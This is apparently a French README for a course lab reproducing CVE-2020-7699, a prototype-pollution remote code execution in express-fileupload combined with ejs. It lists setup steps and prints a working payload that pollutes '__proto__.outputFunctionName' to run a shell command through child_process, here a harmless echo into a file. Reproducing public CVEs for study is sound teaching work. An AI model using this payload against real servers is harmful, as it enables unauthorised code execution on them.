
Reproduction de CVE-2020-7699, projet de cours sur les principes de sécurité logicielle
Reproduction de la vulnérabilité RCE Node.js (CVE-2020-7699), mon travail de laboratoire.
Version de Node.js : v14.16.1, veuillez vous assurer que la version de Node.js est 14 (une autre version fonctionnera probablement, je n'ai pas testé).
Version de Python : 3.9.5, Python est uniquement utilisé pour envoyer la requête d'attaque HTTP, aucune version spécifique requise.
Clonez simplement le dépôt, npm i pour installer les dépendances. J'ai proposé 2 commandes supplémentaires :
npm run start-server pour démarrer le serveur cible (serveur victime)npm run launch-attack pour lancer l'attaqueexpress-fileUpload : les versions antérieures à 1.1.10 sont affectées.
Vulnérabilité : pollution de prototype express-fileUpload
Comment l'exploiter : polluer __proto__.outputFunctionName afin d'écrire la commande à exécuter. Par exemple : echo "ATTACK SUCCESSFUL" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
Vulnérabilité : ejs essayera d'exécuter xxx.outputFunctionName qui est undefined, mais si object.outputFunctionName est pollué, il l'exécutera à la place.